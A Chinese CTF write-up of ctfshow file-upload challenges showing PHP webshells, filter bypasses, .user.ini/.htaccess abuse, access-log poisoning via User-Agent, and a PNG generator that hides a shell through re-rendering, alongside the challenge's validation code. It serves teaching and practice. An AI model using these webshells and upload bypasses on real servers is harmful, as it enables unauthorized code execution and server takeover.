【CTF-Web】文件上传漏洞学习笔记(ctfshow题目)

news2024/11/25 16:01:28

文件上传

文章目录

  • 文件上传
    • What is Upload-File?
    • Upload-File In CTF
      • Web151
        • 考点:前端校验
        • 解题:
      • Web152
        • 考点:后端校验要严密
        • 解题:
      • Web153
        • 考点:后端校验 配置文件介绍
        • 解题:
      • Web154
        • 考点:后端内容校验 大小写绕过
        • 解题:
      • Web155
        • 考点:后端内容校验 短标签绕过
        • 解题:
      • Web156
        • 考点:后端内容校验 中括号 符号绕过
        • 解题:
      • Web157、158
        • 考点:后端内容校验 大括号 符号绕过
        • 解题:
      • Web159
        • 考点:后端内容校验 小括号 符号绕过
        • 解题:
      • Web160
        • 考点:后端内容校验 强限制 日志文件包含利用
        • 解题:
      • Web161
        • 考点:文件头检测
        • 解题:
      • Web162
      • Web164
        • 考点:PNG图片二次渲染
      • Web165
        • 考点:JPG图片二次渲染
      • web166
        • 考点:zip文件包含
      • Web167
        • 考点:.htaccess解析
      • web168
        • 考点:基础免杀
      • Web169、170
        • 考点:高级免杀 包含日志

What is Upload-File?

顾名思义就是给网上传文件,比如qq空间

上传文件时服务器后端语言没有对上传的文件进行严格的验证和过滤,容易造成上传任意文件的情况,从而使得攻击者绕过上传机制上传恶意代码并执行控制服务器

恶意代码文件就是php asp aspx jsp等,也被称为webshell

Upload-File In CTF

Web151

考点:前端校验
解题:

image-20240131144641594

进来之后很明显一个上传点 并且给出提示

直接上传php后缀文件被禁止 同时任意长传一个其他的后缀 随意输入也被禁止

故为白名单检测 只能上传png后缀格式

于是构造一句话木马放到图片中上传

GIF89a<?php eval($_POST['a']);?>

image-20240131152056625

抓包,想要把php的内容解析 需要把后缀修改

在抓包的这一块已经绕过了前端验证

image-20240131152156373

修改 发送 上传成功

image-20240131152539213

得到图片的路径/upload/upload.php

一定注意是php后缀 因为修改过 上传的就是php后缀的文件

  • 法1 : 直接rce

image-20240131152623585

  • 法2 : 中国蚁剑

image-20240131152741640

密码是我们一句话木马里面的参数a

image-20240131152828313

连接成功

image-20240131152848665

Web152

考点:后端校验要严密
解题:

image-20240131153040791

image-20240131153612836

这里和上一题一样 就能打通 但是思考一下题目 为什么说后端验证要严格呢

这里我们重新构造了一个一句话木马图片不加前缀GIF89a

image-20240131153918152

好吧 效果是一样的hhh

本来我以为与Content-Type有关

  • image/png
  • image/gif
  • jpg image/jpeg

然鹅并没有 OK 解决 下一题

Web153

考点:后端校验 配置文件介绍
解题:

再上传一个png 改后缀为php 好!寄

image-20240131154809751

可以看到msg没有正常显示位置 上传失败

所以我们使用配置文件去解析一下,配置文件有两个 下面分别介绍一下

Reference1

  • .user.ini

    在nginx或者Apache服务中都可以使用

    利用条件:open_basedir没有被限制

    利用函数:auto_append_fileauto_prepend_file

    利用原理:使用该配置文件可以让所有php文件自动包含某个文件

解释两个函数:

auto_append_file : 在加载打开的php文件的第一行代码之后加载配置指定的php文件

auto_prepend_file : 在加载打开的php文件的第一行代码之前加载配置指定的php文件

利用过程:

  1. 上传一句话木马图片
  2. 上传配置文件
  3. 找到目标服务器任意的php进行访问 会触发我们的配置文件
  • .htaccess

    只能在Apache使用

那我们先探测一下 这个网址的服务是什么

在kali里面直接whatweb

┌──(kali㉿kali)-[~]
└─$ whatweb http://340f03f0-6c52-4b26-95e2-65c0a527be46.challenge.ctf.show/
http://340f03f0-6c52-4b26-95e2-65c0a527be46.challenge.ctf.show/ [200 OK] Country[CHINA][CN], HTML5, HTTPServer[nginx/1.20.1], IP[124.223.158.81], JQuery[3.2.1], PHP[7.3.11], Script, Title[CTFshow-web入门], X-Powered-By[PHP/7.3.11], nginx[1.20.1]

发现是nginx 所以使用第一个配置文件

先上传我们一句话木马构造的png文件 不用抓包了 就直接上传即可

然后 想办法上传配置文件

先上传一个正常的png后缀 否则过不了前端 抓包 修改名字和内容

image-20240131165333798

然后在upload目录下尝试index.php 确实存在 访问则会触发配置文件

image-20240131165646048

image-20240131165703211

Web154

考点:后端内容校验 大小写绕过
解题:

image-20240131170824223

上传png文件 发现对内容有检测

先大小写绕过试试

image-20240131170933236

成功

image-20240131171015379

上传配置文件

image-20240131171112212

拿到flag

Web155

考点:后端内容校验 短标签绕过
解题:

image-20240204041544098

大小写绕过失效 改为短标签

<?php echo 1; ?> 正常写法

<? echo 1; ?> 短标签写法,5.4<?= 'hello'; === <? echo 'hello';

<?= phpinfo();?>

<% echo 1; %> asp 风格写法

<script language="php"> echo 1; </script> 长标签写法

image-20240204041735793

参考

image-20240204041843165

直接在上面的包里修改上传即可

image-20240204042022822

拿到flag

Web156

考点:后端内容校验 中括号 符号绕过
解题:

中括号被限制了

使用大括号绕过

image-20240204042336019

我们要来看看源码学习一下 用蚁剑连接一下

image-20240204042547053

image-20240204042626578

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}

echo json_encode($ret);

image-20240204045040850

Web157、158

考点:后端内容校验 大括号 符号绕过
解题:

这次大括号也被ban了 所以不使用一句话木马 而是直接rce 注意嗷!分号也被ban了 直接删除即可

<? exec('cat ../f* > myflag.txt')?>

解释一下命令语句:

  • system : 输出并返回最后一行的shell结果
  • exec :不输出结果 返回最后一行shell的结果 所有结果可以保存到一个返回的数组里面
  • passthru :只调用命令,把命令的运行结果原样直接输出到标准输出设备上

在我们的payload中 使用>可以把结果自定义存储到myflag.txt文件中

image-20240204054616568

image-20240204054657227

触发

image-20240204054726586

查看:注意是在upload目录下

image-20240204054800548

也可以直接使用system

image-20240204055239398

image-20240204055215518

image-20240204055228448

Web159

考点:后端内容校验 小括号 符号绕过
解题:

仍然在前端有限制 只能上传png后缀的文件

所以首先通过png后缀的图片写马

发现小括号被过滤了,绕过的方法就是 ` 反引号去代替绕过

两种写马的方法:

  1. 写入到文件中 用 > 进行定向
<? `cat ../f* > myflag.txt` ?>
  1. 直接使用echo进行显示
<? echo `tac ../f*` ?>

image-20240215214117066

然后通过配置文件.user.ini去解析php

image-20240215213558967

Web160

考点:后端内容校验 强限制 日志文件包含利用
解题:

首先要介绍一下php中include函数:

在php代码的进行过程中,遇到include函数就去跳转到包含的文件中进行读取,并显示在输出中,如果是php代码,会自动解析,如果不是,则单纯以文本的方式显示,示例如下:

<?php
include('1.txt')?>

image-20240216004917491

然后回到这个题目中我们发现,反引号和空格全部被过滤了,通过单一的上传时无法实现的,所以我们采用对日志的利用。

那么日志记录的是什么呢,查看了一下本地的access.log文件

image-20240216005633283

发现记录的有User-Agent字段里面的内容

所以我们把一句话木马放到User-Agent字段中进行写入到日志中,然后通过include的函数,触发解析日志中的一句话木马

image-20240216023431484

image-20240216010037299

<?include"/var/l"."og/nginx/access.lo"."g"?>

到此成功上传png文件,但是请注意两点,一个是对log有过滤,对于字符串的过滤我们将他隔开即可

第二个是需要作为php语句进行解析,所以还是需要使用.user.ini

image-20240216010215471

然后进行触发

image-20240216010244929

进行连接,注意两点,一是url要加头,二是连到index.php

image-20240216010656445

源码一贴,学习一下验证思想:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);

Web161

考点:文件头检测
解题:

上题的payload上传失败

给png添加幻术,加文件头GIF89a?

image-20240216025716275

image-20240216025051632

贴一下源码,与上题对比去看看文件头的检测机制:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);

找到检测中的区别:

getimagesize($_FILES["file"]["tmp_name"]

It is using the getimagesize function to retrieve information about an uploaded image file.

$imageInfo = getimagesize($_FILES["file"]["tmp_name"]);

if ($imageInfo !== false) {
    $width = $imageInfo[0];
    $height = $imageInfo[1];
    $mime = $imageInfo["mime"];

    echo "Image width: " . $width . " pixels<br>";
    echo "Image height: " . $height . " pixels<br>";
    echo "Image MIME type: " . $mime;
} else {
    echo "Invalid image file";
}

This code retrieves the width, height, and MIME type of the uploaded image and displays them as output.

因为检测MIME,所以需要添加文件头

Web162

Web164

考点:PNG图片二次渲染

这个题目奇奇怪怪的很多坑哟

经过测试 只允许上传png

直接上传一个我们普通的假的png木马图片 不会成功

image-20240531155954231

上传普通的木马图片 比如在尾部的木马 会被经过二次渲染而清除

上传用脚本生成木马图片

image-20240531160030255

成功上传

这个图片的生成方式如下:

<?php
  $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
             0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
             0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
             0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
             0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
             0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
             0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
             0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
  $r = $p[$y];
  $g = $p[$y+1];
  $b = $p[$y+2];
  $color = imagecolorallocate($img, $r, $g, $b);
  imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

对应的木马内容:<?$_GET[0]($_POST[1]);?>

上传后直接点击查看图片

image-20240531160328142

然后进行传参

image-20240531160345495

会显示看不了,你以为失败了吗 其实并没有,这个时候CtrlS 保存图片 然后改成txt文本查看 就会发现 flag已经在图片里面了

image-20240531160643475

之所以在图片里面 感觉是因为二次渲染的功效吧

Web165

考点:JPG图片二次渲染

开题之后 png也上传不了

测试后发现只能上传jpg文件

目前遇到两个坑

  1. 上传后查看图片无法抓包
  2. 大爹脚本无法对下载后的图片进行渲染绕过 始终报错somethingwrong

第一个坑之所以需要是因为查看jpg图片的返回包,我们可以很清晰的发现存在二次渲染的痕迹,即ATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality

解决方案:

思考下我们抓包的内容是什么,是图片的信息,所以我们也可以直接下载图片然后txt打开就可以看到二次渲染的痕迹啦

关于第二个 目前也没有解决 感觉需要审一下代码

但是和A师傅要了一个武器库

上传后直接连 不用考虑二次渲染问题,都处理好了

image-20240601104452261

web166

考点:zip文件包含

开题CtrlU看一下

image-20240602171443961

发现只能上传zip文件

想在压缩包后面写个一句话,直接在右侧栏中写就好

image-20240602171330518

image-20240602171739039

成功上传后,找到这个下载文件的链接展开利用

image-20240602171808558

直接连蚁剑,拿下:

image-20240602172040705

Web167

考点:.htaccess解析

image-20240602172252215

只收jpg

image-20240602172424122

下载后可以发现木马仍然存在,所以是单纯的没有解析

image-20240602172626678

考虑尝试下htaccess进行解析

image-20240602173038358

上传成功

在访问一下图片就能触发解析了

image-20240602173118778

直接连蚁剑,拿下

image-20240602173549060

现在一回顾可以发现其实题面也给出了提示

image-20240602173710354

httpd

web168

考点:基础免杀

image-20240602173834732

接收png,先上武器库图片

发现带木马的图片直接传不了

正常的可以传,如下

image-20240602174901257

我们通过这个正常上传的文件抓到上传包

image-20240602175205052

发现改php后缀可以上传成功

image-20240602175244360

猜测一下位置,发现也可以解析成功

image-20240602175347673

上传发现有内容检测,ban了一些东西,既然命令无法执行ls,那么使用var_dump遍历查询目录

image-20240602175527551

其中…表示上级目录

image-20240602175549466

想一下怎么读

image-20240602175633047

先试一下includeimage-20240602175706094

被ban

再试show_source

image-20240602175746681

成功 但是flag在flagaa.php

总结一下:

基础免杀的含义无非就是需要绕过几个函数罢了

image-20240602175934209

这是什么呢,存一下

Web169、170

考点:高级免杀 包含日志

image-20240602180953266

开题发现只能传zip

那么通过上传正常的zip文件进行抓包,然后进行利用

注意如果zip文件有马,无法上传

image-20240602181135877

image-20240602181337336

不知道为什么还是不行,但是抓到包了就足够了

Content-Type: application/x-zip-compressed

当这个类型是zip的时候始终无法上传

修改为png

image-20240602181821966

直接成功

image-20240602181834885

而且可以发现对后缀也没有任何检测

image-20240602181919083

e 被ban了

所以要做高级免杀,想到日志包含

思路:

把木马写在User-Agent中

然后通过user.ini的设置 把指定的php文件自动加载也就是access.log

设置user.ini

image-20240602182225547

写木马到access.log

image-20240602182343897

上传一个php文件触发

image-20240602182412701

访问一下1.php触发

image-20240602182520885

加载成功

直接蚁剑链接 密码是1

image-20240602182616919

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1795796.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Java】static 修饰成员方法

static 修饰成员方法 简介 应用 static 修饰成员方法 1.static 修饰成员方法2.内存原理3.main函数4.类方法的应用 1.static 修饰成员方法 测试类&#xff1a; package suziguang_d2_staticdemo;public class Test {public static void main(String[] args) {// 1.类方法使用/…

六西格玛培训,带你解锁职场超能力工具!

当提及六西格玛培训的精髓时&#xff0c;我们不得不提到那些强大而实用的工具&#xff0c;它们如同探险者的指南针&#xff0c;引导我们走向卓越。今天&#xff0c;就让我们一起揭开这些神秘工具的面纱&#xff0c;探寻六西格玛背后的智慧。 首先&#xff0c;DMAIC流程是六西格…

SpringBoot高手之路04-Aop

文章目录 AOP 基础AOP概述start依赖,开发某一个功能,只需要下载这一个依赖,关于他的依赖都会下载下来 AOP快速入门AOP核心概念 切入点表达式-execution AOP 基础 AOP概述 AOP 对特定的方法做增强 AOP 快速入门 start依赖,开发某一个功能,只需要下载这一个依赖,关于他的依赖…

LNMP网站架构部署

目录 一、LNMP架构部署&#xff08;源码编译安装&#xff09; ①实验准备 ②安装nginx服务 ③安装mysql服务&#xff0c;配置文件 ④安装php服务&#xff0c;修改配置文件 ⑤验证 静态页面测试访问 动态页面测试访问 调用数据库测试 二、LNMP架构应用实例 1.论坛网站…

网鼎杯 2020 玄武组 SSRFMe

复习一下常见的redis主从复制 主要是redis伪服务器的选择和一些小坑点 <?php function check_inner_ip($url) { $match_resultpreg_match(/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/,$url); if (!$match_result) { die(url fomat error); } try { …

安卓照片云备份:如何将Android照片备份到云服务

随着智能手机摄影技术的发展&#xff0c;我们每天都在手机上拍摄大量照片和视频。为了防止宝贵的回忆丢失&#xff0c;将这些照片备份到云服务上是一个明智的选择。我们有多种云服务可供选择&#xff0c;如华为云、小米云、腾讯云等&#xff0c;它们提供了安全、便捷的数据备份…

力扣2968.执行操作使频率分数最大

力扣2968.执行操作使频率分数最大 方法一&#xff1a;滑窗 前缀和 求前缀和数组s 求一个数组补齐到中位数的差值 枚举右端点 class Solution {public:int maxFrequencyScore(vector<int>& nums, long long k) {int res0,n nums.size();sort(nums.begin(),nums…

tomcat中管理环境变量之setenv.sh

tomcat配置spring profiles springboot打包war部署到外部tomcat的时候指定profile启动 windows 在%tomcat%/bin下创建setenv.bat文件 linux 在%tomcat%/bin下创建setenv.sh文件 使用JVM参数: windows set "JAVA_OPTS%JAVA_OPTS% -Dspring.profiles.activedev"in…

【ROS2大白话】三、给turtlebot3安装realsense深度相机

系列文章目录 【ROS2大白话】一、ROS2 humble及cartorgrapher安装 【ROS2大白话】二、turtlebot3安装 【ROS2大白话】三、给turtlebot3安装realsense深度相机 【ROS2大白话】四、ROS2非常简单的传参方式 文章目录 系列文章目录效果展示一、修改model.sdf文件1. 路径位置2. 修改…

基于python的网上挂号预约系统-计算机毕业设计源码35796

摘 要 随着科学技术的飞速发展&#xff0c;社会的方方面面、各行各业都在努力与现代的先进技术接轨&#xff0c;通过科技手段来提高自身的优势&#xff0c;医院当然也不例外。网上挂号预约系统是以实际运用为开发背景&#xff0c;运用软件工程原理和开发方法&#xff0c;采用Py…

数据结构:详解二叉树(树,二叉树顺序结构,堆的实现与应用,二叉树链式结构,链式二叉树的4种遍历方式)

目录 1.树的概念和结构 1.1树的概念 1.2树的相关概念 1.3树的代码表示 2.二叉树的概念及结构 2.1二叉树的概念 2.2特殊的二叉树 2.3二叉树的存储结构 2.3.1顺序存储 2.3.2链式存储 3.二叉树的顺序结构和实现 3.1二叉树的顺序结构 3.2堆的概念和结构 3.3堆的特点 3…

Linux 35.5 + JetPack v5.1.3@ego-planner-swarm编译安装

Linux 35.5 JetPack v5.1.3ego-planner-swarm编译安装 1. 源由2. 编译&安装Step 1&#xff1a;依赖库安装Step 2&#xff1a;建立工程Step 3&#xff1a;编译工程Step 4&#xff1a;安装工程 3. 问题汇总3.1 组件ros-noetic-roslint问题3.2 uav_simulator/local_sensing -…

Win32和c++11多线程

Win32和c11多线程 一、概念1.线程的特点线程内核对象线程控制块线程是独立调度和分派的基本单位共享进程的资源 2.线程的上下文切换引起上下文切换的原因 3.线程的状态 二、Windows多线程API1.CreateThread创建线程2.获取线程ID3.关闭线程句柄4.挂起线程5.恢复线程6.休眠线程的…

GAT1399协议分析(二)--注册流程分析

一、官方流程说明 二、官方流程解析 1 : 发起方向接收方发送注册 HTTP POST 请求/VIID/System/Register。 2: 接收方向发送方发送响应401 Unauthorized, 并在响应的消息头 WWW-Authenticate 字段中给 出适合发送方的认证机制和参数。 3: 发起方重新向接收方发送注册 HTTP POST…

谷歌创新框架:从非结构化数据,实现多模态学习

看、听、说的多模态已成为主流大模型的重要功能之一。但在数据爆炸时代&#xff0c;大模型学习文本类的结构化数据相对还好一些&#xff0c;但要去学习视频、音频、图片等非结构化数据非常困难。 目前&#xff0c;从结构化和非结构化数据实现多模态学习&#xff0c;会随着模态…

【Linux】查看进程在哪个CPU上运行

当前服务器是多核&#xff0c;在进行性能压测时&#xff0c;需要除了要观测全局的CPU使用率&#xff0c;对于单进程单线程往往需要在一个cpu上运行&#xff0c;那如何查看进程在哪个CPU上运行呢&#xff1f; 方法一&#xff1a;taskset taskset命令主要是用来检索或设置一个处…

IO进程线程(九)线程的同步 进程间通信

文章目录 一、 线程的同步&#xff08;一&#xff09;无名信号量sem1. 定义和初始化2.获取信号量3.释放信号量4. 销毁5. 使用示例 &#xff08;二&#xff09;条件变量1. 定义和初始化2. 获取条件变量3. 释放条件变量4. 销毁条件变量 二、进程间通信&#xff08;一&#xff09;…

yum进阶——配置yum源

一、yum概述 yum的主要作用 解决依赖关系 自动安装 自动升级 各个系统中的安装软件服务 CentOS7 &#xff1a;yum -y 安装 rpm包 CentOS8 &#xff1a;dnf&#xff08;yum的升级版&#xff09;&#xff0c; Ubantu(22.04) &#xff1a;apt -y 安装&#xff0c;安装源为/…

【Python报错】已解决ModuleNotFoundError: No module named ‘packaging’

成功解决“ModuleNotFoundError: No module named ‘packaging’”错误的全面指南 在Python编程中&#xff0c;遇到ModuleNotFoundError: No module named packaging这样的错误&#xff0c;通常意味着你的Python环境中缺少名为packaging的模块&#xff0c;或者该模块没有被正确…

sing-task message

文章目录 1.起因2.查因过程2.1 定位job2.2 定位sql text2.3 定位db_link2.4 测试dblink2.5 tnsping host2.6 检查host信息2.7检查网路状况 3.处置办法&#xff1a;4.结论 1.起因 在巡查长事务时&#xff0c;有两个事务执行了很长时间没有完成 SELECT SE.SID,SE.SERIAL#,to_ch…